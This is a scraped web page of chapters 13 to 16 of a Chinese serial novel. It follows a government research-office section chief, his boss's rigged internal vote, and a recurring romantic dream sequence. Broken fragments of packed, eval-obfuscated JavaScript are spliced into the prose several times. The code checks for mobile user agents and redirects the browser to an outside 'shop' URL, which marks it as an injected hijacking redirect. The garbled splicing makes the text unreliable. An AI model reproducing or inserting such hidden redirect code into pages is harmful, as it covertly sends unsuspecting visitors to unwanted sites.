l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136221|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持会议的金学盛，转头扫一圈与会在座的下属同事们，最后停下来，吊眼盯着常新言这样对大家说道。 “同意！”“好！”“没有意见。”与会的人员们，大家异口同声地赞同这个提议，几乎除了办公室主任和几个经常评优秀公务员的“钉子户”，两三个人低头不语，没有表态外，大多数达恩豪的同事都支持这个建议。 “既然大家同意，就这样评选。现在大家推选检票计票人两名，我提议办公室主任佟若贤，大家再推荐一名。”金学盛主持会议，这样抢先推荐自己信赖的检票计票人，这样对大家说道。 “我推荐常处长。”“我也推荐常处长。”“常处长。”接下会场上就像炸锅了一样，大家都为常新言的路见不平，自告奋勇，拔刀相助的行为所感动，一人带头推荐，大家猛醒过来，跟上喊叫，都不约而同地推荐常新言担当评选优秀先进的检票计票人。 这次大家抽票选举的结果一公布，直接就把达恩豪给气疯了，不是气疯了，而是后悔疯了，在这样关键的时刻，他丧失了对自己一直以来的信心，感觉自己肯定评不上，把自己宝贵的两票，都投给别人了，给自己一票也没有投，公布出来的投票结果是：他和佟若贤并列第一名。达恩豪连骂自己是大笨蛋，大傻瓜，大愣怂，都还不解气。同事们都不知道他投票的底细，如果知道了也会怨他的。达恩豪只能自作自受了，天不遂人愿。 这样的无记名推荐民主选举结果，对金学盛来说也不是过分地难堪，也不是过分地难为情，算是和公开公平公正打了个平手，不输不赢，无所为多大的损失，能顺利下了台阶就行。 达恩豪虽然心底里对领导评优推荐非常有意见，但工作总归还是要干的，不能影响了正常的工作，顺便也期望领导在来年能有所改变才好。这不，金学盛又打电话把达恩豪叫到他办公室里，先是站起身来，伸手让给他一只滨河牌“黑金刚”香烟，他掏出打火机先后两人各点燃一只抽了起来，然后，这时对他这样说道： “达处长，最近国家科技部的专家工作室的领导专家们，要来我们滨河市考察指导工作，这是对我们工作的支持和鼓励，市政府安排我们研究室拿东西，这是批转来的文件，给你起草时用，你抓紧起草个汇报材料。” “好的，我马上去弄。”达恩豪边接了金学盛递过来的那份文件，边听领导安排工作说完了，抽一口“黑金刚”香烟，吐出一团白色浓雾后，这样爽朗地回答道。 达恩豪边抽着烟，边拿着文件走出了金学盛的办公室，来到斜对面经济发展研究处。走过去把文件撇到自己的办公桌上，再走进去坐在自己的办公桌椅中间，无奈地拾起领导给的那份文件，不禁仔细翻看起来，开始悉心研究了一番。 13. 第 13 章 第十三章预备推荐 达恩豪习惯性爬到电脑屏前，唤醒睡眠的电脑，立即忙乎起来。……过了两天，一份《滨河市经济和社会发展基本情况的汇报》材料，共11页5000多字的文章就写好了，……一份打印好的给国家科技部专家工作室领导专家，关于《滨河市经济和社会发展基本情况的汇报》显现在了金学盛主任的办公桌上，金学盛主任坐着伏身翻看了一遍这个材料后，抬起头来脸上露出微笑的眼眉，对交给他材料的面前人这样夸赞道： “达处长，不管什么任务，每回交给你我都放心。这材料写得很好，英雄所见略同，正合我意，这么写就对了。” “我刚才和常主任、办公室佟若贤正说里，达处长还有一件事需要你去办理，今年我们单位党风廉政建设责任制的总结材料，市纪检委办公室以前也发了文，今天又打电话催要，你抓紧起草一下报过去。”金学盛稍一停顿，若有所思的皱了一下眉头，接着继续对达恩豪这样说道。 “好的，金主任我这就去写。”达恩豪这样爽快地答应到，每次都是这样来者不拒有求必应的，其实，达恩豪虽然非常老实，但也有一个小心思的，就是金学盛主任虽然嘴上不说，也没有明确给他承诺过这个事，但一直安排达恩豪搞群团工作，理所当然，意思是将来顶替马上就要退休的女处长樊银芬，去干单位群团工作。但后面的实事证明，远不是这么回事。其实他只不过是下苦干活搞工作的，事情比较复杂，顶替那个位置的另有其人。 樊银芬处长是城市发展研究处处长，老家是中原省开都市人，皮肤白净五官端庄，先天丽质，年轻时的漂亮，风韵犹存，是名资深的老美女，就是身高稍低点，“双职工”两县级，丈夫在市统计局当局长，正儿八经的正县“一把手”，老家是本市槐间县人。樊处长已不上班了，群团处的群团工作达恩豪一直在干，前三四年，樊银芬上班时，达恩豪就帮着弄单位群团组织人员基本情况年报表，后来又搞网上群团组织人员基本情况年报表系统，刻录光盘，等工作，干了很多活。但后面的实事再次证明，他并没有推荐达恩豪，多半给领导推荐了不干活的席从浩了。 达恩豪正想着心事儿，不一会，办公室派人拿过来一份文件，达恩豪签字收了文件。接到手里打开一看，正好是市纪检委要求编报年度党风廉政建设责任制总结报告的通知文件，刚好学习研究一下起草报告的注意事项和要求，好有个撰写的方向和目标，力争一次成型，圆满完成。 达恩豪抱着一丝的梦想，干工作也来劲儿了，虽然这不是他的本职工作，是为别人在作嫁衣，但利用三四天时间，不到一周，就把《滨河市政府研究室关于2006年党风廉政建设责任制情况的专题汇报》，这份篇幅达到10页约5500多字的正式上报文件起草好了，具体内容他写了五点进展成效和下一步的两点打算，金学盛没有打任何推辞，不修改不返工，一次性过关签批了，交办公室走流程，编文号，要来红头文套上，打印装订好一式四份，材料再交给单位办公室分别盖上鲜红的公章，打发人拿着这个文件报送到市纪检委和市考核组各一份，单位存档两份。 …… 达恩豪回家，晚上睡觉做了一个很朦胧的梦： 莫不是时光倒流，他回到了过去。那时的他很年轻，二十五六，多好的年华呀！朝气蓬勃，血气方刚，也有些书生意气，一个有梦想的年轻青年小伙儿。皮肤白净，五官端庄，意气奋发，一头又黑又长的秀发。虽然个子小了点，一米六八，但身材中等，不胖不瘦恰到好处，都利益于长期坚持锻炼，身体保持的很满意。 诗云：“窈窕淑女，君子好逑”。正好和同事老乡逛街道看见了一位美女，婉如盛唐之仕女，这女子细眉长眼，眼神有些许忧伤，令人爱怜惋惜，小嘴小鼻圆脸，体形微胖，显得丰满可人。听说华夏国历史四大美女之一，唐朝的杨贵妃就是以胖为美，引领时尚的。 虽然现实很骨感，但这小伙儿就是爱丰满的美女！ 小伙感觉丰满的美女特耐看，越看越有味，越看越喜欢！ “月上柳梢头，人约黄昏后”。白天，女孩子在百货商店上班，晚上这小伙儿约她出来看电影，这美女说不爱看电影。第二日，这小伙儿在商店外面等她，约了这美女去压马路，这美女说熟人一大街，不好意思，丢人现眼啊。 第三日，这小伙儿约这这美女去背街小巷溜跶去，美女仍然拒绝了他，黑灯瞎火的，害怕呀。 “端起了饭碗想起了你，面条儿捞不到嘴里！”第四日上，这美女答应了小伙儿的请求，并且还是主动邀请这小伙儿去她爹爹的办公室里聊天了。 她约他上她家吃饭，第一次上她家去空手是不好的，他下班后从单位出来，秆了十几个苹果，七八斤重，提了一塑料袋水果进门，等着她做饭吃。 这美女爹爹的办公室就在他家的隔壁再隔壁，她家就在一个公司的大院里最旮旯的东北角，两间办公室，封一门隔上打开一门，改造成一个套间，一户共两间房。这已经是很不容易很奢侈了，在上世纪八十年代初的时候。 他蹭吃完了面条下凉拌白菜晚餐，这美女拿了爹爹办公室房间门上的钥匙，领着他进了门头挂有“经理”的一间办公室，她关了门，也顺手放下了窗帘。 此时，一对孤男寡女，他和她，少男少女同处一室，空气里好像充斥着一种说不明道不清的东西，其实是充满了一种看不见摸不着的无形的暧昧。 是这美女礼貌性让的，他就坐在办公桌后面的一把木头椅子上，这美女走进去大大方方坐在了靠东面隔墙下的长条椅子的中间。他离这美女款款坐着的长条椅子之间，足有两米多的距离。 这时，在他的心中就如同隔了千山万水，感觉遥不可及的。心里猛然间发急，口干舌燥，喉结轻轻一滚动，咽下一股口水。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136222|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … “……现在大家推荐一名同志，接替前不久办了手续退休的樊银芬同志，出任我们市政府研究的群团处处长，其实也就是个正科级的处长，除了常新言同志以外后面新任的处长都一样，都是正科级，这次和上回一样，采取无记名投票，下面办公室负责，清点人数，发票，检票计票……”2007年元月上旬的一天，大约是刚过完新年元旦，单位办公室通知召开理论中心组学习会议，金学盛主任主持会议，组织大家学习了上级的近期召开的重要会议精神，领导重要讲话文件，总结前一阶段，安排布置了今年一季度尤其是一月份单位的主要工作任务，然后，突然话峰这么一转，对大家这样说道。 这让大家都有些措手不及，达恩豪同要也感觉有点惊慌和意外。不过话说回来，金学盛主任历来都是这种风格，一贯爱搞突然袭击，把管理学和领导艺术上老祖宗的经验用得非常不错，“事以密而成，事以疏而废”。什么事情，在他手里都搞得神神秘秘，鬼鬼鬼祟祟的，搞阴谋，耍诡计，对于没有坏心眼儿，性格耿直，不会算计人，直来直去，比较喜欢光明磊落的达恩豪来说，就特别地反感弄这一套。 办公室宣布的结果，出了有些人的意料之外，民主推荐的人选，票数最多的不是常从浩，而是光干工作不走后门的达恩豪，并且明显是过了半数票了。但大家一想，这个也在情理之中，都听了办公室宣布的民主测评的结果，心里默认，平静得没一人说话，一声不吭。因为，大多数人都知道，是达恩豪一直帮着樊银芬搞群团处的工作，樊银芬退休了自然是达恩豪接替了，都默认了这个实事，就大都把推荐票投给了达恩豪，而金学盛心目中的人选是原办公室主任席从浩。 这次金学盛可能是“老虎也有打盹儿的时候”，把老祖宗“事以密而成，事以疏而废”的圭臬给弄死板硬套了，直接后果就是适得其反了，把该选的席从浩没有选上，不该选的达恩豪给选上了。原因是事先没有作好动员工作，给同事们事先透个气，甚至于没有给大家吹个风也行。 达恩豪心里虽然心里也有一点小小窃喜，但接着单位领导金学盛的行为就立刻打碎了他天真幼稚的美梦。虽然，这次民主推荐投票选举，这一结果给金学盛出了个小小的难题，但同上次一样，金学盛不怕，因为他第二天想出了应急对策。 “昨天的民主推荐是预选，不算数的，投票结果作废，今天是正式推荐投票，大家一定要投好神圣的一票，要对组织负责也是对自己负责……”第二天达恩豪去上班，一大早晨的，单位办公室又把大家召集到会议室开会，金学盛坐镇主持，办公室主任佟若贤像个跳梁小丑一样，上窜下跳，十分卖力，最后推荐投票结果出来了，果然是不负金学盛和席从浩等少数人之所望，席从浩的票数最多，肯定无疑是过了半数票了，达恩豪的票数比席从浩的少了好多票，可怜得只剩下了两张赞称票了，除了他自己，只有一人给他投票了。 14. 第 14 章 第十四章新任冷遇 单位办公室主任佟若贤，达恩豪曾经的副手，下属，唯单位领导老乡金学盛马首是瞻，言听计从，是其死党，铁杆走狗，黑干将。这时，高高兴兴似地，起草文件，欢呼雀跃一样，打印上报市直机关和市委组织部一份正式红头文件，进行备案式审批。这个任命通知文件的主要内容是，经市政府研究室全体干部职工民主推荐，主任办公会议研究决定，任命席从浩为市政府研究室群团处处长。 达恩豪的心想，不是自己的就不要强求，是你自己的你不管他就自然来了，自己给自己宽心，自我慰籍。 一夜之间风云突变，老实人达恩豪一时没有想明白。过几天有机会他和办公室主任佟若贤单独相处时，达恩豪还是转不过那个弯，心里过不去这个坎儿，原来一个处的人也不给他投票，想孤注一掷，冒扎一下，就偷偷向佟若贤这样问了一句，“悄悄问一句，上次正式推荐选举群团处处长时，你为什么不给我投一票？” “因为这个里面有故事哩。”果然还真扎出点儿东西来，其中真是有个原因的，还是很大的一个根源。佟若贤听达恩豪质问，原来就黑红的脸更加红了，目光回避躲闪着，有些语塞，好像其中有难言之隐，不好意思地低头对他这样说道。 第二天，达恩豪单位吃完一楼大食堂午饭上来，在楼道里正好碰见了办公室的侯雷，侯雷举右手梳捋一把又黑又长的大背头，和他站着聊起天，突然头一缩，左右转头看楼道这时就他们两人，低声微笑对他就说了这样一句话： “达处长，那天正式推荐选举群团处处长时，我又给你投了一票，前面和后面你那两票中都有我一票。” “谢谢侯队长抬爱。”达恩豪一边双手握成一拳头打躬作揖，一边这样低头对着，同龄中等个头不胖不瘦大背头的侯雷，这样感激道。 又过了两天，达恩豪和几个同事们一齐下乡调研时，开会回来时车上坐着等同事们，和单位司机火成亮独处，就压低声音乘机透问了一句这样的话： “火队长，我们原来都是意大利的，上周民主推荐单位群团处处长，家伙为什么不给我投票。” “第一次我给你投了呀，正式投票前的晚上老金给我打电话说要投给席从浩，我就投了他了。”单位司机火成亮一时语塞，猛转头盯着达恩豪，立即反应不过来了，冲口就冒出来这样一句话回答他道。但怎么说火成亮还算是老实，说了个实在话，因为不过脑子脱口而出的。 至此一问，这件事的轮廓就慢慢清晰突现起来，真相也渐渐浮出水面，呈现在了达恩豪面前，达恩豪才得以彻底搞清楚了为什么第二天的正式推荐投票逆风大反盘。……推断被证实，金学盛，领导老金晚上给单位第二天所有参加会议的人员都打了电话，明确要求给席从浩投票，不给我投票，除了没给我达恩豪和侯雷打电话外。 不是达恩豪心心念念放不下，执着地调查这件事，就可可让单位领导金学盛给“瞒天过海”了，还给达恩豪当好人。但是，确保席从浩当选任命群团处处长，也不是他金学盛的好意所为，而是把席从浩踢出办公室主任一职的有个着落，有个去处，也是一个安慰罢了。 其实这盘棋，下过来，下过去，全单位的人都是一颗金学盛的棋子，而席从浩和达恩豪是最主要的两枚棋子。主任就是高明，不然怎么当上了这个单位的领导呢。 …… 达恩豪晚上躺在床上，睡着了，又继续做着同一个梦。 ……这小伙儿毕竟是个男人，怎么也控制不住，体内的荷尔蒙在猛烈地发作，肾上腺素大量激增起来，天性的使然，本能的力量，不可抗拒，无法战胜，化为了他无声的行动。 “同性相斥，异性相吸”。这小伙儿起身来，不好意思地把椅子往长条椅方向挪了半截，轻轻放下后，坐了上去。 这美好并没有拒绝这小伙儿的冒然行径，也没有流出一丝一毫反感的情绪。恰恰相反，其实这美女心里也是想靠近一点，但女孩子比较含蓄，心里非常矛盾。 这小伙儿脸也红得像一张大红布，呼吸急促，再一次的口干舌燥，想喝水。只有口水咽下，喉结从上往上缓缓地滚动一下，再一下轻轻地滚动。 这美女的脸也是飞霞一片，红透了脸宠，也染红了颈项。呼吸加速了，气息变粗了，气息变短了，产生了一阵阵的轻微的弦晕的感觉。心跳不断加快，怦怦怦，跳到了嗓眼子，马上就要从嘴里蹦出来了一样。 多么的兴奋，无名的激动，多么的刺激，无名的愉悦，一浪高过一浪，一齐就向这美女的袭来，四面八方汹涌澎湃起来，把她包围，几乎就把她吞噬了！ 这小伙儿站起身来，把这把椅子往长条椅上那边又挪了一半放下，再重新坐到了这把椅子上，面一直是向着长条椅上坐着的这美女。 这美女其实也斜挎着，虚虚地坐在长条椅上，正好与小伙儿身子向着身子，面对着面。 在刚才小伙儿一系列搬椅子的动作，这美女视角跟随着小伙儿的挪椅子过程，款款仰起头来，落落地低下头来，在小伙儿脸上寻找着什么一样。 两张红红有脸，两双擅抖的手，两颗滚烫的心，一直在不停地靠近，靠近，靠近…… 只是，大的宽厚的那双手是主动的，紧迫的，急切的……而纤细小巧的那双手是被动的，有点僵硬的，有点半推半就的…… 机会难得，稍纵既逝。幸福就在眼前，幸福需要主动，幸福需要实践。 “小伙不坏，姑娘不爱”，这句常言在小伙儿的心里一闪而过，“先拉手，后对口，再下手”，情场高手们的坏坏的谆谆教诲犹在耳边响起，“世上只有藤缠树，那有树缠藤的”，曾经女领导的启蒙开导的至理老言把这小伙儿拉扯。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136223|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >命运掌握在自己手中。要知道梨子的味道，就得亲口尝一尝。有胆量，才有未来，有胆量，才能拉住幸福的手。有行动，才有成功，才有结果，才有经验与总结，有行动，才能争得幸福，争得圆满，争得美好的明天。 瞬间，这小伙儿思想经过了剧烈复杂深刻的斗争，勇敢终于战胜了懦弱，伟大爱情的磅礴打败了胆小，羞怯…… …… 去年6年7月中旬，市政府下文，滨河市政府研究室副主任常吉，被一纸调令，调到滨河市城中村改造工作领导小组办公室任副主任，人走了。但同时，又给市政府研究室新任命了一名副主任，名叫牛嘉成，和达恩豪同龄的中年男同志，小个方脸，皮肤白净，一头微卷短发，又黑又浓，一身深蓝色衣服，足蹬一双黑皮鞋。给人感觉是个沉闷寡言，谨小慎微，却又犹柔寡断之人。 “达处长，你知道不知道，咱们单位的副主任常吉，被正式调到城中村办公室去任副主任？”鲁希雷一天早晨上班，蹿进经济发展研究处聊天，对达恩豪没头没脑地这样问道。达恩豪后来在办公室送来的单位传阅文件夹时，才看到了里面有一份任职通知的红头文件。 “知道啊，常主任和我，巴多星我们一齐都城中村改造的调研和编写材料，给我透露过这个事情。”达恩豪并不感到惊奇，因为这事都在单位里传开了，而且他也在工作中有机会，从常吉副主任的口中得到了进一步的证实，就看都不看面前人一眼面前人，这样回答鲁希雷道。 “市上又给咱们单位派了一个副主任，你知道不知道？”鲁希雷开头的话没有惊着达恩豪，他并不介意，也不气馁，话峰突然再这么一转，继续再卖给面前人一个大关子，对达恩豪非常神秘地这样说道。 “不知道，是谁？”达恩豪假装吃了一惊，其实他也听别人说过这事，并且也见过其人几面，就佯装酒醉，转头眼盯着鲁希雷，对面有人这样反问道。 “牛-嘉-成。”鲁希雷目光里掠过一丝轻蔑而怨恨的眼神，对面前人说出这样一个名字来，达恩豪也感觉到面前人在暗暗嫌弃自己的井底之蛙和消息闭塞。 “这人是那儿来的？”达恩豪想继续用激将法，从鲁希雷嘴里掏出更多他不曾知道的信息，这时，就又有意向鲁希雷提出这样一个问题来。 “我打听清楚了，是从市公证处来的，是副主任，也是副县级。”鲁希雷这时也聊天聊得来劲了，本来也就爱显摆自己，历来是自视甚高的，也顾不上鄙视埋怨达恩豪了，对面前人十足卖弄地这样说道。 “这个牛嘉成，他跑我们这儿来干哈来了，公证处比我们单位好多了啊？”达恩豪嫌弃新来的这个副主任是脑子有问题，怀疑他什么地方出了毛病了，有权有钱的好单位不乖乖待着，来研究室这个只写材料下苦不管人不管事不管钱的单位，就有些恼怒地口气这样对鲁希雷几乎是骂道。 15. 第 15 章 第十五章错位安排 “那呀，他们那届班子出事了，都公证处待不下去了。”鲁希一着急回答质问，口头语也出来了，虽然是一针见血地指出了问题的根源和实质，说的好像是他亲眼所见，但却又装出一脸难为情的样子，在为新领导感同身受抱不平似的，对达恩豪这样自相矛盾地解释道。 “出什么事了，用得着这样劳师动众的？”达恩豪顺藤摸瓜，穷追不舍，“打破砂锅瓮（问）到底”，“长虫钻竹竿---钻不透不回头”，“不见棺材不掉泪”，“不到黄河心不死”，“不撞南墙不回头”，顺嘴就这样继续问下去道。 “听说是单位集资建房，私分公款，班子成员都背了处分了。听说牛嘉成的哥哥好像和常市长曾经是一个单位的同事。”鲁希雷闪动着十分诡异的眼神，压低声音就倾其所有地向达面前人解释了这样一番话。 达恩豪心里想，鲁希雷这家伙怎么什么他都知道，怎么就连谁家的炕洞门子向什么方向开，他都知道的一清二楚似的，而且也敢说出来，不怕得罪同事，甚至于也不怕得罪领导，不愧是研究室第一消息灵通人士兼任这个单位第一大“臭嘴”。虽然达恩豪也不喜欢像鲁希雷这样的，但也令达恩豪心里特别地佩服。 “领导把我们单位当成垃圾桶了，把其他单位犯错误处理的人都扔进研究室来了，难道我们单位是劳改农场还是监狱。”突然，鲁希雷表现得非常气愤，继续接着这样发了一通牢骚道。达恩豪听了也是感同身受，竟然也是感觉说到点子上了，这话非常有道理。 “老金为什么不给新来的副主任牛嘉成安排一间单独的办公室，我看他在城市处办公室里坐着，毕竟他也是单位领导呀？”达恩豪故意为牛嘉成呜冤叫屈，是想继续用激将法，好诿导鲁希雷无意中说出，鲁希雷的知道而他不曾听到的一些信息来，就一本正经并罗罗唆唆地这样问面前人道。 “因为咱们领导老金看不上牛嘉成，他材料写得不怎么样，所以表面上说是暂时没有腾出房子，其实是挖擦他呢，牛嘉成也不好说。”鲁希雷历来是只琢磨领导意图，揣测上级单位的用心，却从不把这个优势用在写材料搞工作干活儿上，他好像金学盛肚子里的蛔虫似的，什么时候都知道领导的全部心思一样，这时，就对达恩豪又是解释又是分析地这样回答道…… “叮铃铃！”达恩豪正与鲁希雷八卦闲扯着，聊天宣得正欢时，突然，经济发展研究处的办公室里的桌上的电话铃声响起了。达恩豪没有马上去接电话，这电话机有来电显示，先看看电话号码，是谁打来的好有个心理准备。 “金主任您好……嗯……嗯……好的。”达恩豪接上电话，对着话筒这样毕恭毕敬地说道。鲁希雷一听是单位领导打来的电话，就眼珠子一转，知道找谁谁就没有好事，断定多半是压任务写材料的事，屋主人的电话还没有接完，就向接电话的达恩豪一挥手，转身赶紧溜出了经济发展研究处的办公室房间门，奔自己办公室而去了。 不管啥工作，金学盛都找他干，什么材料都找他写。单位领导金学盛刚来的打电话，又给达恩豪布置了一项临时性的工作任务。 金学盛说，滨河市经济技术开发区要申报个国家出口加工区的建设项目，向新上任的分管开发区工作的市政府领导廖副市长汇报这项工作，滨河市经济技术开发区主持工作的常务副主任是金学盛的同学，请求市政府研究室笔杆子给起草润色个建设出口加工区的汇报材料，看点参观园区走访企业他们开发区全包接待，素材他们开发区全部负责提供。 由滨河经济技术开发区的相关人员领着，达恩豪跟着金学盛主任看了两个半天，其实也没有看下个什么，至不过最后提供了两份开发区介绍基本情况和近期五年规划的素材，出口加工区项目建设汇报廖副市长的材料，撰写任务就自然而然地全砸给达恩豪去编写了。项目选址也看了，材料也提供了。 “噼哩啪啦！”达恩豪伏案辛勤干活，又是敲打键盘，又是查阅资料，爬了两三天，终于一篇《滨河市经济技术开发区管委会关于建设滨河出口加工的情况汇报》，写好了。这份材料，达恩豪洋洋洒洒写了10页近5000字。 “这材料我看行了，就这样好。”金学盛主任低头仔细看完了材料，抬头脸上露出一点微笑来，看来是对这个情况汇报相当满意的，然后瞧着达恩豪这样说道。 “请经济技术开发区领导看一下，提修改意见再修改完善？”达恩豪有些没头没脑的，尽出些馊主意，这时，不合时适地这样向金学盛提议道。 “我们写下就是圣旨，不用他们修改，谅他们也提不出什么实质性修改意见！”金学盛转头盯着达恩豪，恨恨地剜了一眼达恩豪后，用轻蔑和鄙夷的眼光瞅着达恩豪，好像达恩豪就是开发区的领导一样，这样淡淡地回答道，一口的向上县家乡老土话，方言。 …… 达恩豪下班回家，晚上睡在床上，继续做着同一个梦。 ……这小伙我不知和这美女妹妹一块，互相说了些什么，他已记不清了。只感觉他不知什么时候已坐在了这美女妹妹的身旁了。 美女妹妹和这小伙儿，几乎就要挨在一齐了。零距离接触，身体靠着身体了。 这小伙儿已闻到了，这美女妹妹身上，混合型的气味。既有脸上散发出来的气息，还有身体上散发出来的味道。 那是一种混合香气，这小伙儿特别好闻的香气，这是诿人的香气，这也是迷人的香味。 那是一种这小伙儿今生今世从未闻过的香气，是天然的这美女的体香在其中，才如此芬芳，如此甜蜜，如此好闻。 那是一种让这小伙儿陶醉的香气，慢慢地闭上了双眼，沉醉其中，始终不愿睁开眼睛。 近在咫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136224|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尺之间的距离，是两个人一场艰难地跨越，一种生死一样的挣扎，是青年男性和青年女性的相交的长度，是这小伙儿与这美女的首次对接。 这小伙儿情不自禁，但却是小心翼翼地把一只青春之手，一只爱情之手，一只从未触碰青年女性，或者鲜少摸过女性的手，不由自主地伸向离这美女的最近的那一只手，一只同样渴望青春的手，一只渴望爱情的手，一只很少触摸过男性的手。 不知道什么时候，这小伙抓着这美女的一只手，就由一只变成了两只，一双手都抓住了这美女的两只手了。两人的四手相牵，对面相坐。 立刻，这美女手上的温热，像电流一样，由一双手臂开始，传递到了这小伙他身上每一根神经，每一寸皮肤，每一块肉骨，每一根毛发，甚至每一个细胞……这小伙儿有一瞬间，再一次地微微地颤抖…… 这时，这小伙儿的手温，明显高于这美女的手温，这美女被这毛手毛脚小伙儿的手上的热，感觉也像放电一样，由两只手臂开始，须臾就传遍了这美女的全身……片刻，这美女已再次微微地颤慓起来…… 这小伙儿，感觉到一种从未有过的体验，似真又似幻，如痴又如梦，拉着美女的手，真是太好了，太爽了，真得让人有点想如非非了…… 这美女，也第一次感觉到了不同往常的体验，如此美妙啊，如此甜蜜，被这小伙儿拉着的手还真怪异，那是种不可言状的愉悦…… 这小伙的鼻息和体味，混合成一种特别的气息，扑面而来。 这美女已闻到了，这小伙儿身上，一种好闻得气息。那是一种女性没有，男性才有的独特的气息和味道。 怎么能这么好闻，这美女就在连连暗骂自己太贱了，偏偏就爱闻这种青年男性的气味。 这是一种诿惑这美女的特殊气息，这是一种迷倒这美女的年轻男人的气息，一种撩人的神秘气息。 这小伙的气息这美女感觉，怎么就无法拒绝，不能自拔，犹如幽谷兰芷馨香，这美女也心里非常矛盾，十分地不解，难道男人也有毒能成瘾吗？ 从来都是……好梦易断！好景不长！花无百日红，人无千日好！ …… “这是社会发展研究处，或者是区域发展研究处，再或者是政策研究处都能对口搞工作和课题材料，怎么又让我们经济发展研究处搞呢，莫不是领导安排布置错了吧？”一天上班时间，正坐着在电脑上搞一份材料，办公室又给他送过来一个批示件，达恩豪一看就来气了，是关于解决农民工问题的工作，这样对送文件的办公室人员报怨道。 “我们办公室只管交办，你感觉不合适就去找领导，自己给领导说去。”单位办公室送文件的人不以为然地这样回答达恩豪道，“喊雀儿的不管驴吃糜子的”，把责任推缷得干干净净。这就是单位办公室的人，历来都比其他处室的牛□□滑。 16. 第 16 章 第十六章实干巧干 “……”达恩豪刚看过了，领导批示是金学盛签字，这个工作和材料是单位“一把手”安排布置的，他那干再多嘴争辩呢，脑子里一转，弄得他一个嘴大张，说不出话来，只能夹紧尾巴悄悄干活啦。心想，我不干谁干呀？！他也想通了，领导历来都是“看人下菜碟”，用顺手的人，“能者多劳”那只是个说词而矣。 详细看文件，市委市政府尽然也把市政府研究室，也列入了滨河市农民工工作领导小组成员单位，金学盛主任是这个领导小组的成员之一。这个工作我们单位还非搞不可，而且是长期要搞了，就是临时性工作也得搞个三五年的不行。 达恩豪的思想很与时俱进的，调研手段很先进，很便捷，也很有效，是充分利用现代化电话网络电脑，等高科技的工具，在电话里和市人社局、市农业局等单位要相关材料，电脑上上网进市政府网站，打开相关各局的网站查资料，在网页上搜索查找，一通分析研究，一通思考琢磨…… 经济发展研究处的办公室里，“噼哩啪啦”连天响了好几天，达恩豪不知又死亡了多少亿的脑细胞，抽了不知多少包廉价的滨河牌香烟，一天两包，一包七元的“黄滨河”，耗费了不知多少度公家的电量，喝了不知多少的茶水，一篇标题为《解决我市农民工问题的若干思考》就新鲜出炉了。这材料打印出来共有24页，足足写了12000多字。 “铛铛铛”达恩豪拿着打印好的材料去敲开金学盛主任的办公室门，如获至宝一样，把材料小心翼翼地放到领导办公桌的右上角，等着面前坐着的人拿起来看，或鉴定或欣赏的，然后看完了作指示呢。 “报。”除了下面一行金学盛的姓名签字，再下面一行是阿拉伯字母的今天的年月日，是领导写在这份材料第一页的右上角位置。这就是金学盛主任对这份材料的无言但有字地表示，是高度评价，是充分肯定，也是对这项工作和材料下一部发安排布置了。 …… 不是达恩豪无法割舍，是这小伙儿难以舍弃，好梦也易续，又进入到昨夜未完的梦境之中…… 这小伙儿攥紧了这美女的双手，就没完没了了，就不想放开了，四手相握，四眼相对。 秋天的白菜送过来，送过去，来来回回。在两人的眼眸中，如闪电一般惊心动魄，如勾魂一般雷霆巨震。 不是面对面的僵持，而是巨大幸福和满足袭来的无尽的沉醉，让这小伙儿都有些疲劳了，有些茫然，有些急切。 这小伙儿知道了要怎样改变，他立即松开了双手，扭身就和这美女一并都排坐在了这长条椅子上。 这小伙儿侧身而坐在这长条椅上，和这美女身体几乎就全挨在了一齐。身子贴着身子，两颗年轻心，滚烫的心，相依相偎的心，相亲相爱的心，就靠得越来越近了些。 这美女落落大方，也不躲避，也不迎合，席听尊便，任凭这小伙撒手而动，改变现状。不管升级，或者压下战争级别，无论增高，或者降低环境氛围的热烈度。 这小伙儿举起两只臂膀，紧紧地箍着，不是，是搂着，不是，是抱着这美女的丰满而美妙的身躯。两个年轻的头挨着头，她的右后侧，挨着他的左前侧。一个年轻的女性脊背，和一个年轻男性的前胸紧贴在了一块。 “亲爱的，我爱你！”这小伙儿没有太多的话要话，除了人们熟知的这句话，就再也激动的语不成声，呢喃无言。 “……”这美女羞于开口，或者默认不言，就是没有吱声。女孩的心不好猜，其实也简单，就在情意之中。 这小伙儿，对这美女的一切表白的话语，一切表达的意思，都在这小伙儿的不言的举动中。 世界是物质的，物质决定意识。先有物理的距离靠近，才有两颗年轻而相互吸引的心，把距离拉近，心心才能相印，才能以心换心。 